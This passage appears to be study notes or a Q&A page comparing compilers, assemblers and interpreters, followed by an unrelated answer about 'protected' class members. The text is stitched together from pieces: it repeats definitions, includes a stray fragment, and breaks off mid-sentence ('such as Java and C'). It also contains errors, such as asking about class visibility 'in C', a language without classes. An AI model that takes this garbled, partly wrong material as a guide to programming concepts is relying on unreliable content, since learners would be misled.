A compiler reads the whole source code and translates it into a complete machine code program to perform the required tasks which is output as a new file. This completely separates the source code from the executable file. The biggest advantage of this is that the translation is done once only and as a separate process. The program that is run is already translated into machine code so is much faster in execution. The disadvantage is that you cannot change the program without going back to the original source code, editing that and recompiling (though for a professional software developer this is more of an advantage because it stops source code being copied). Current examples of compilers are Visual Basic, C, C++, C#, Fortran, Cobol, Ada, Pascal and so on.

You will sometimes see reference to a third type of translation program: an assembler. This is like a compiler, but works at a much lower level, where one source code line usually translates directly into one machine code instruction. Assemblers are normally used only by people who want to squeeze the last bit of performance out of a processor by working at machine code level.

Compiler

A Compiler is a program that translates code of a programming language in machine code

*****Translated source code into machine code***** .

A compiler is a special program that processes statements written in a particular programming language and converts them into machine language, a "binary program" or "code," that a computer processor uses.

A compiler works with what are sometimes called 3GL and higher-level languages (3rd-generation languages, such as Java and C

Interpreter

Interpreters translate code one line at time, executing each line as it is "translated," much the way a foreign language interpreter would translate a book, by translating one line at a time. Interpreters do generate binary code, but that code is never compiled into one program entity.

Interpreters offer programmers some advantages that compilers do not. Interpreted languages are easier to learn than compiled languages, which is great for beginning programmers. An interpreter lets the programmer know immediately when and where problems exist in the code; compiled programs make the programmer wait until the program is complete.

Interpreters therefore can be easier to use and produce more immediate results; however the source code of an interpreted language cannot run without the interpreter.

Compilers produce better optimized code that generally run faster and compiled code is self sufficient and can be run on their intended platforms without the compiler present.

When do you use protected visibility specifier to a class member in C?

a class member declared as private can only be accessed by member functions and friends of that class
a class member declared as protected can only be accessed by member functions and friends of that class,and by member functions and friends of derived classes